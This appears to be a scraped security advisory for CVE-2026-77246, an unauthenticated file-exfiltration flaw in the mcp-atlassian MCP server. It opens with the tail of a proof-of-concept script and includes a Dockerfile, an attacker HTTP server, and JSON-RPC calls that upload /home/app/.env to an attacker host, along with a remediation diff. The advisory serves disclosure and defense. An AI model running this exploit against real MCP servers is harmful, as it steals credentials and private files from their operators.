                f"-p {attacker_port}:8888 {ATTACKER_IMAGE} python3 -c '<attacker_server_src>' && "
                f"docker run -d --network {NETWORK_NAME} --name {VICTIM_NAME} "
                f"-p {victim_port}:8000 "
                f"-e TRANSPORT=streamable-http "
                f"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} "
                f"-e READ_ONLY_MODE=false "
                f"{VICTIM_IMAGE} --transport streamable-http --port 8000 --host 0.0.0.0"
            ),
            "poc_command": (
                f"python3 {os.path.basename(__file__)} "
                f"--repo {repo_path} "
                f"--victim-port {victim_port} "
                f"--attacker-port {attacker_port}"
            ),
            "evidence": evidence_snippet or attacker_raw_logs[-500:],
            "artifacts": ["Dockerfile", "poc.py"],
        }

        result_path = os.path.join(SCRIPT_DIR, "phase2_result.json")
        with open(result_path, "w") as f:
            json.dump(phase2, f, indent=2, ensure_ascii=False)
        print(f"\n[*] phase2_result.json written: {result_path}")

    finally:
        if not args.no_cleanup:
            print("[*] Cleaning up containers and network...")
            cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)
            print("[*] Cleanup done.")
        else:
            print(f"[*] --no-cleanup: containers left running ({VICTIM_NAME}, {ATTACKER_NAME})")


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:34:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `mcp-atlassian` server exposes an MCP tool (`confluence_upload_attachment` and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (`streamable-http` or `sse`), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (`X-Atlassian-Confluence-Url` / `X-Atlassian-Confluence-Personal-Token`) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary `file_path` (e.g. `/etc/passwd`, `~/.env`, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or `Authorization` header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).\n\n---\n\n### Details\n\n**Data flow (source \u2192 sink)**\n\n| Step | Location | Role |\n|------|----------|------|\n| 1 | `src/mcp_atlassian/servers/main.py:498-504` | Middleware extracts `X-Atlassian-Confluence-Url` and `X-Atlassian-Confluence-Personal-Token` from incoming HTTP request headers. |\n| 2 | `src/mcp_atlassian/servers/main.py:584-595` | When no `Authorization` header is present but service headers are, `user_atlassian_auth_type` is set to `\"pat\"`, effectively bypassing authentication requirements. |\n| 3 | `src/mcp_atlassian/utils/urls.py:97-104` | `validate_url_for_ssrf` blocks only `localhost`, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (`MCP_ALLOWED_URL_DOMAINS`) passes this check. |\n| 4 | `src/mcp_atlassian/servers/dependencies.py:544-545` | The attacker-controlled URL is injected directly as `url=` into `ConfluenceConfig`, constructing a `ConfluenceFetcher` pointed at the attacker\u0027s server. |\n| 5 | `src/mcp_atlassian/servers/confluence.py:1358-1361` | The MCP tool argument `file_path` is forwarded to `confluence_fetcher.upload_attachment()` without any sanitization. |\n| 6 | `src/mcp_atlassian/confluence/attachments.py:64-79` | The path is converted to an absolute path via `os.path.abspath()` and checked for existence only. `validate_safe_path()` \u2014 already used on download paths \u2014 is **never called** here, leaving no directory restriction in place. |\n| 7 | `src/mcp_atlassian/confluence/attachments.py:477` | **Sink**: `files = {\"file\": (filename, open(file_path, \"rb\"))}` \u2014 the file is opened and sent as multipart to the attacker\u0027s server. |\n| 8 | `src/mcp_atlassian/jira/attachments.py:374-386` | Parallel Jira sink: same `os.path.abspath()` pattern, no `validate_safe_path`, then `open(file_path, \"rb\")`. |\n\n**Key code evidence**\n\n```python\n# src/mcp_atlassian/confluence/attachments.py\n64: if not os.path.isabs(file_path):\n65:     file_path = os.path.abspath(file_path)\n68: if not os.path.exists(file_path):\n77: filename = os.path.basename(file_path)\n477: files = {\"file\": (filename, open(file_path, \"rb\"))}   # \u2190 sink\n```\n\n```python\n# src/mcp_atlassian/jira/attachments.py\n374: if not os.path.isabs(file_path):\n375:     file_path = os.path.abspath(file_path)\n386: with open(file_path, \"rb\") as file:                    # \u2190 sink\n387:     attachment = self.jira.add_attachment(\n```\n\n**Why `validate_safe_path` is absent**: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.\n\n**Default configuration enables the attack**: `READ_ONLY_MODE` defaults to `false`, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).\n\n**Recommended remediation**\n\n```diff\n--- a/src/mcp_atlassian/confluence/attachments.py\n+++ b/src/mcp_atlassian/confluence/attachments.py\n-            if not os.path.isabs(file_path):\n-                file_path = os.path.abspath(file_path)\n+            file_path = str(validate_safe_path(file_path))\n             filename = os.path.basename(file_path)\n-            files = {\"file\": (filename, open(file_path, \"rb\"))}\n+            with open(file_path, \"rb\") as file_obj:\n+                files = {\"file\": (filename, file_obj)}\n+                response = self.confluence._session.put(\n+                    url, headers=headers, files=files, data=data\n+                )\n-            response = self.confluence._session.put(\n-                url, headers=headers, files=files, data=data\n-            )\n\n--- a/src/mcp_atlassian/jira/attachments.py\n+++ b/src/mcp_atlassian/jira/attachments.py\n-            if not os.path.isabs(file_path):\n-                file_path = os.path.abspath(file_path)\n+            file_path = str(validate_safe_path(file_path))\n```\n\nAdditional hardening: reject header-based service URLs before fetcher construction using `validate_url_for_ssrf` with a strict allowlist, and consider defaulting `READ_ONLY_MODE=true` for remotely reachable deployments.\n\n---\n\n### PoC\n\n**Prerequisites**\n\n- Docker (CLI + daemon) available on the attacker machine.\n- Python 3.x with `httpx` installed (`pip install httpx`).\n- The `mcp-atlassian` repository cloned locally (commit `d8bc786` or compatible).\n\n**Step 1 \u2014 Build the victim image**\n\nThe `Dockerfile` at `vuln-001/Dockerfile` builds the `mcp-atlassian` server and plants a simulated `.env` file at `/home/app/.env` containing fake secrets:\n\n```\nSECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\nDB_PASSWORD=pr0duct10n_d4tab4se_p4ss\nAWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n```\n\n```bash\ndocker build -t mcp-atlassian-vuln001 \\\n  -f vuln-001/Dockerfile \\\n  /path/to/mcp-atlassian-repo\n```\n\n**Step 2 \u2014 Run the automated PoC script**\n\nThe `poc.py` script orchestrates the full attack:\n\n```bash\npython3 poc.py \\\n  --repo /path/to/mcp-atlassian-repo \\\n  --victim-port 18000 \\\n  --attacker-port 18888\n```\n\nThe script performs the following actions automatically:\n\n1. Creates a Docker network (`poc-vuln001-net`).\n2. Starts an **attacker HTTP server** container (`poc-vuln001-attacker`, port `18888`) that mimics a Confluence REST API and records multipart upload bodies.\n3. Starts the **victim MCP server** container (`poc-vuln001-victim`, port `18000`) with `READ_ONLY_MODE=false` and `MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker`.\n4. Sends the following MCP JSON-RPC sequence to `http://127.0.0.1:18000/mcp`:\n\n```python\n# Step 4a \u2014 initialize (no Authorization header)\nheaders = {\n    \"X-Atlassian-Confluence-Url\":            \"http://poc-vuln001-attacker:8888\",\n    \"X-Atlassian-Confluence-Personal-Token\": \"fake-pat-token-for-poc\",\n}\nPOST /mcp  {\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":1,\n            \"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\n                      \"clientInfo\":{\"name\":\"vuln001-poc\",\"version\":\"1.0\"}}}\n\n# Step 4b \u2014 trigger file exfiltration\nPOST /mcp  {\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"id\":3,\n            \"params\":{\"name\":\"confluence_upload_attachment\",\n                      \"arguments\":{\"content_id\":\"123\",\n                                   \"file_path\":\"/home/app/.env\"}}}\n```\n\n5. Queries `http://127.0.0.1:18888/exfil` and verifies that the attacker server received the file contents.\n\n**Expected result**\n\nThe attacker server logs and `/exfil` endpoint confirm receipt of the victim file:\n\n```\n[attacker] *** EXFILTRATED FILE CONTENT START ***\nSECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\nDB_PASSWORD=pr0duct10n_d4tab4se_p4ss\nAWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n[attacker] *** EXFILTRATED FILE CONTENT END ***\n```\n\n**Phase 2 result**: PASS \u2014 file exfiltration confirmed via live Docker PoC.\n\n---\n\n### Impact\n\n**Vulnerability class**: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.\n\n**Who is impacted**:\n\n- **Operators** running `mcp-atlassian` in HTTP transport mode (`streamable-http` or `sse`) on a network-reachable endpoint with `READ_ONLY_MODE=false` (the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance.\n- **Users** whose secrets are stored on the server filesystem are at risk of credential theft \u2014 `.env` files, SSH private keys, cloud provider credentials (`~/.aws/credentials`), kubeconfig files, TLS certificates, and any other file readable by the process.\n\n**Constraints on exploitability**:\n\n- The server must be running in HTTP transport mode (not the default `stdio` mode).\n- `READ_ONLY_MODE` must not be set to `true`.\n- The attacker must be able to reach the `/mcp` endpoint (adjacent network or internet, depending on deployment).\n- The SSRF domain allowlist (`MCP_ALLOWED_URL_DOMAINS`) must permit the attacker\u0027s hostname, or the attacker must control a public domain that passes the IP blocklist check.\n\nDespite these preconditions, all are met in documented production deployment configurations described in the project\u0027s own README and Helm chart.\n\n---\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Victim Image\n# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)\n# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.\n\nFROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder\n\nWORKDIR /app\nENV UV_COMPILE_BYTECODE=1\nENV UV_LINK_MODE=copy\n\n# Copy dependency files\nCOPY pyproject.toml README.md uv.lock ./\n\n# Install dependencies (without the project itself to leverage caching)\nRUN --mount=type=cache,target=/root/.cache/uv \\\n uv sync --frozen --no-install-project --no-dev --no-editable\n\n# Copy source and install the project\nCOPY src ./src\nRUN --mount=type=cache,target=/root/.cache/uv \\\n uv sync --frozen --no-dev --no-editable\n\n# Strip bytecode cache to reduce image size\nRUN find /app/.venv -name \u0027__pycache__\u0027 -type d -exec rm -rf {} + 2\u003e/dev/null || true \u0026\u0026 \\\n find /app/.venv -name \u0027*.pyc\u0027 -delete 2\u003e/dev/null || true\n\n# \u2500\u2500 Final Stage \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM python:3.13-alpine\n\n# Create non-root user mirroring a typical prod deployment\nRUN adduser -D -h /home/app -s /bin/sh app\n\n# Plant a sensitive file that the PoC will exfiltrate\nRUN printf \u0027SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\\n\u0027 \u003e /home/app/.env \u0026\u0026 \\\n printf \u0027DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\\n\u0027 \u003e\u003e /home/app/.env \u0026\u0026 \\\n printf \u0027AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\\n\u0027 \u003e\u003e /home/app/.env \u0026\u0026 \\\n chown app:app /home/app/.env\n\nWORKDIR /app\nUSER app\n\nCOPY --from=builder --chown=app:app /app/.venv /app/.venv\n\nENV PATH=\"/app/.venv/bin:$PATH\"\nENV PYTHONUNBUFFERED=1\n\n# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)\nENTRYPOINT [\"mcp-atlassian\"]\nCMD [\"--transport\", \"streamable-http\", \"--port\", \"8000\", \"--host\", \"0.0.0.0\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC \u2014 MCP HTTP Client: Server-Local File Exfiltration via\nUnvalidated Attachment Upload Path (CWE-200, CVSS 7.4)\n\nAttack chain:\n  1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers \u2014 no\n     Authorization header required (unauthenticated PAT path, main.py:584-595).\n  2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker\n     container hostname, bypassing DNS validation (urls.py:107-111).\n  3. ConfluenceFetcher is constructed with the attacker-controlled URL\n     (dependencies.py:544-545).\n  4. confluence_upload_attachment is called with file_path=/home/app/.env \u2014\n     the path is absolutized but never validated against a safe root\n     (attachments.py:64-79).\n  5. The file is opened and PUT-ed as multipart to the attacker server\n     (attachments.py:477,490).\n\nUsage:\n  python3 poc.py [--repo /path/to/repo] [--victim-port 18000]\n                 [--attacker-port 18888] [--no-cleanup]\n\nRequirements on the host running this script:\n  - docker (CLI + daemon)\n  - python3 with httpx (pip install httpx)\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\nimport time\n\n# \u2500\u2500 constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nSCRIPT_DIR      = os.path.dirname(os.path.abspath(__file__))\nDEFAULT_REPO    = os.path.join(\n    os.path.dirname(SCRIPT_DIR), \"repo\"\n)\nDOCKERFILE_PATH = os.path.join(SCRIPT_DIR, \"Dockerfile\")\n\nNETWORK_NAME     = \"poc-vuln001-net\"\nVICTIM_NAME      = \"poc-vuln001-victim\"\nATTACKER_NAME    = \"poc-vuln001-attacker\"\nVICTIM_IMAGE     = \"mcp-atlassian-vuln001\"\nATTACKER_IMAGE   = \"python:3.12-slim\"\n\nTARGET_FILE      = \"/home/app/.env\"   # sensitive file planted in the victim image\n\n# \u2500\u2500 attacker server source (injected into the attacker container) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nATTACKER_SERVER_SRC = textwrap.dedent(r\"\"\"\nimport http.server, json, re, sys, threading\n\n_exfil = []   # captured files\n\nclass H(http.server.BaseHTTPRequestHandler):\n    def log_message(self, fmt, *a):\n        print(f\"[attacker-http] {fmt % a}\", flush=True)\n\n    # Confluence auth probe \u2014 return a minimal valid user object\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        if self.path.rstrip(\"/\") == \"/exfil\":\n            self.wfile.write(json.dumps({\"files\": _exfil}).encode())\n        elif self.path.rstrip(\"/\") == \"/ready\":\n            self.wfile.write(b\u0027{\"status\":\"ok\"}\u0027)\n        else:\n            self.wfile.write(json.dumps({\n                \"key\": \"attacker-user\", \"displayName\": \"Attacker\",\n                \"emailAddress\": \"attacker@evil.example\", \"active\": True,\n                \"accountType\": \"atlassian\"\n            }).encode())\n\n    def do_PUT(self):  self._recv()\n    def do_POST(self): self._recv()\n\n    def _recv(self):\n        cl = int(self.headers.get(\"Content-Length\", 0))\n        body = self.rfile.read(cl) if cl else b\"\"\n        ct   = self.headers.get(\"Content-Type\", \"\")\n        print(f\"[attacker] {self.command} {self.path}  body={len(body)}b  ct={ct}\", flush=True)\n\n        file_data = b\"\"\n        if \"multipart\" in ct and body:\n            bm = re.search(r\"boundary[=\\s]+([\\w\\-]+)\", ct)\n            if bm:\n                boundary = bm.group(1).encode()\n                for part in body.split(b\"--\" + boundary):\n                    if b\"\\r\\n\\r\\n\" not in part:\n                        continue\n                    hdr, _, data = part.partition(b\"\\r\\n\\r\\n\")\n                    if b\u0027name=\"file\"\u0027 in hdr or b\"filename\" in hdr:\n                        file_data = data.rstrip(b\"\\r\\n--\")\n                        break\n\n        if file_data:\n            text = file_data.decode(errors=\"replace\")\n            print(\"[attacker] *** EXFILTRATED FILE CONTENT START ***\", flush=True)\n            print(text[:4096], flush=True)\n            print(\"[attacker] *** EXFILTRATED FILE CONTENT END ***\", flush=True)\n            _exfil.append({\"path\": self.path, \"content\": text[:4096], \"size\": len(file_data)})\n        else:\n            print(\"[attacker] WARNING: no file data found in request\", flush=True)\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\n            \"results\": [{\n                \"id\": \"att-001\", \"type\": \"attachment\", \"title\": \"exfiltrated\",\n                \"metadata\": {\"mediaType\": \"text/plain\"},\n                \"extensions\": {\"fileSize\": len(file_data)}\n            }]\n        }).encode())\n\nserver = http.server.HTTPServer((\"0.0.0.0\", 8888), H)\nprint(\"[attacker] listening on 0.0.0.0:8888\", flush=True)\nsys.stdout.flush()\nserver.serve_forever()\n\"\"\").strip()\n\n\n# \u2500\u2500 helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef run(cmd: str, **kw):\n    r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)\n    return r.returncode, r.stdout, r.stderr\n\n\ndef run_ok(cmd: str, label: str = \"\") -\u003e str:\n    rc, out, err = run(cmd)\n    if rc != 0:\n        tag = f\" ({label})\" if label else \"\"\n        print(f\"[FAIL] Command{tag} exited {rc}:\\n  cmd: {cmd}\\n  stdout: {out}\\n  stderr: {err}\", file=sys.stderr)\n        sys.exit(1)\n    return out\n\n\ndef docker_logs(name: str) -\u003e str:\n    _, out, err = run(f\"docker logs {name} 2\u003e\u00261\")\n    return out + err\n\n\ndef wait_http(url: str, timeout: int = 60, interval: float = 1.5) -\u003e bool:\n    import urllib.request\n    deadline = time.time() + timeout\n    while time.time() \u003c deadline:\n        try:\n            with urllib.request.urlopen(url, timeout=3) as r:\n                if r.status \u003c 500:\n                    return True\n        except Exception:\n            pass\n        time.sleep(interval)\n    return False\n\n\ndef cleanup(victim_name: str, attacker_name: str, network: str):\n    run(f\"docker rm -f {victim_name} {attacker_name} 2\u003e/dev/null\")\n    run(f\"docker network rm {network} 2\u003e/dev/null\")\n\n\ndef parse_sse_result(text: str) -\u003e dict | None:\n    \"\"\"Extract the first JSON-RPC result from an SSE or plain-JSON body.\"\"\"\n    for line in text.splitlines():\n        line = line.strip()\n        if line.startswith(\"data:\"):\n            payload = line[5:].strip()\n        elif line.startswith(\"{\"):\n            payload = line\n        else:\n            continue\n        try:\n            obj = json.loads(payload)\n            if \"result\" in obj or \"error\" in obj:\n                return obj\n        except json.JSONDecodeError:\n            continue\n    return None\n\n\n# \u2500\u2500 MCP client (pure stdlib + httpx) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -\u003e dict:\n    \"\"\"\n    Drive the MCP streamable-http protocol to call confluence_upload_attachment\n    with an arbitrary file_path.\n    Returns a dict with keys: success, session_id, response_text, error.\n    \"\"\"\n    import httpx\n\n    service_headers = {\n        \"X-Atlassian-Confluence-Url\":            attacker_container_url,\n        \"X-Atlassian-Confluence-Personal-Token\": \"fake-pat-token-for-poc\",\n    }\n    base_headers = {\n        **service_headers,\n        \"Content-Type\":  \"application/json\",\n        \"Accept\":        \"application/json, text/event-stream\",\n    }\n\n    with httpx.Client(timeout=30) as client:\n        # \u2500\u2500 1. initialize \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(f\"[poc] Sending initialize to {victim_url}\")\n        resp = client.post(victim_url, headers=base_headers, json={\n            \"jsonrpc\": \"2.0\", \"method\": \"initialize\", \"id\": 1,\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"vuln001-poc\", \"version\": \"1.0\"},\n            }\n        })\n        if resp.status_code not in (200, 201):\n            return {\"success\": False, \"error\": f\"initialize failed: HTTP {resp.status_code}\\n{resp.text[:400]}\"}\n\n        session_id = resp.headers.get(\"mcp-session-id\") or resp.headers.get(\"Mcp-Session-Id\")\n        print(f\"[poc] Session-Id: {session_id}\")\n\n        session_headers = {**base_headers}\n        if session_id:\n            session_headers[\"Mcp-Session-Id\"] = session_id\n\n        # \u2500\u2500 2. notifications/initialized \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        client.post(victim_url, headers=session_headers, json={\n            \"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"\n        })\n\n        # \u2500\u2500 3. tools/list (optional, just for visibility) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        try:\n            tl = client.post(victim_url, headers=session_headers, json={\n                \"jsonrpc\": \"2.0\", \"method\": \"tools/list\", \"id\": 2, \"params\": {}\n            })\n            tools_obj = parse_sse_result(tl.text) or {}\n            if \"result\" in tools_obj:\n                names = [t[\"name\"] for t in tools_obj[\"result\"].get(\"tools\", [])]\n                print(f\"[poc] Tools available: {names}\")\n                if \"confluence_upload_attachment\" not in names:\n                    print(\"[poc] WARNING: confluence_upload_attachment not in tools/list \"\n                          \"(will still attempt tools/call)\")\n        except Exception as e:\n            print(f\"[poc] tools/list skipped: {e}\")\n\n        # \u2500\u2500 4. tools/call \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(f\"[poc] Calling confluence_upload_attachment  file_path={target_file}\")\n        resp2 = client.post(victim_url, headers=session_headers, json={\n            \"jsonrpc\": \"2.0\", \"method\": \"tools/call\", \"id\": 3,\n            \"params\": {\n                \"name\": \"confluence_upload_attachment\",\n                \"arguments\": {\n                    \"content_id\": \"123\",\n                    \"file_path\": target_file,\n                }\n            }\n        }, timeout=30)\n\n        return {\n            \"success\": True,\n            \"session_id\": session_id,\n            \"status_code\": resp2.status_code,\n            \"response_text\": resp2.text[:2000],\n            \"error\": None,\n        }\n\n\n# \u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    ap.add_argument(\"--repo\",          default=DEFAULT_REPO)\n    ap.add_argument(\"--victim-port\",   type=int, default=18000)\n    ap.add_argument(\"--attacker-port\", type=int, default=18888)\n    ap.add_argument(\"--no-cleanup\",    action=\"store_true\")\n    args = ap.parse_args()\n\n    repo_path     = os.path.abspath(args.repo)\n    victim_port   = args.victim_port\n    attacker_port = args.attacker_port\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC \u2014 MCP File Exfiltration via Attachment Upload\")\n    print(\"=\" * 60)\n    print(f\"Repo:          {repo_path}\")\n    print(f\"Dockerfile:    {DOCKERFILE_PATH}\")\n    print(f\"Victim port:   {victim_port}\")\n    print(f\"Attacker port: {attacker_port}\")\n    print()\n\n    # \u2500\u2500 0. pre-flight \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    cleanup(VICTIM_NAME, ATTACKER_NAME, NETWORK_NAME)\n\n    # \u2500\u2500 1. build victim image \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(\"[*] Building victim image (this may take a few minutes)...\")\n    rc, out, err = run(\n        f\"docker build --no-cache -t {VICTIM_IMAGE} \"\n        f\"-f {DOCKERFILE_PATH} {repo_path}\"\n    )\n    if rc != 0:\n        print(f\"[FAIL] docker build failed:\\n{err[-3000:]}\", file=sys.stderr)\n        sys.exit(1)\n    print(f\"[+] Victim image built: {VICTIM_IMAGE}\")\n\n    # \u2500\u2500 2. create network \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(\"[*] Creating Docker network...\")\n    run_ok(f\"docker network create {NETWORK_NAME}\", \"network create\")\n    print(f\"[+] Network created: {NETWORK_NAME}\")\n\n    try:\n        # \u2500\u2500 3. start attacker container \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(\"[*] Starting attacker HTTP server...\")\n        attacker_code_escaped = ATTACKER_SERVER_SRC.replace(\"\u0027\", \"\u0027\\\"\u0027\\\"\u0027\")\n        run_ok(\n            f\"docker run -d \"\n            f\"--network {NETWORK_NAME} \"\n            f\"--name {ATTACKER_NAME} \"\n            f\"-p {attacker_port}:8888 \"\n            f\"{ATTACKER_IMAGE} \"\n            f\"python3 -c \u0027{attacker_code_escaped}\u0027\",\n            \"start attacker\"\n        )\n\n        if not wait_http(f\"http://127.0.0.1:{attacker_port}/ready\", timeout=30):\n            print(\"[FAIL] Attacker server did not start in time\")\n            print(docker_logs(ATTACKER_NAME))\n            sys.exit(1)\n        print(f\"[+] Attacker server ready on port {attacker_port}\")\n\n        # \u2500\u2500 4. start victim container \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(\"[*] Starting victim MCP server...\")\n        run_ok(\n            f\"docker run -d \"\n            f\"--network {NETWORK_NAME} \"\n            f\"--name {VICTIM_NAME} \"\n            f\"-p {victim_port}:8000 \"\n            f\"-e TRANSPORT=streamable-http \"\n            f\"-e MCP_ALLOWED_URL_DOMAINS={ATTACKER_NAME} \"\n            f\"-e READ_ONLY_MODE=false \"\n            f\"-e MCP_LOGGING_STDOUT=true \"\n            f\"-e MCP_VERBOSE=true \"\n            f\"{VICTIM_IMAGE} \"\n            f\"--transport streamable-http --port 8000 --host 0.0.0.0\",\n            \"start victim\"\n        )\n\n        print(\"[*] Waiting for victim MCP server to be ready...\")\n        if not wait_http(f\"http://127.0.0.1:{victim_port}/healthz\", 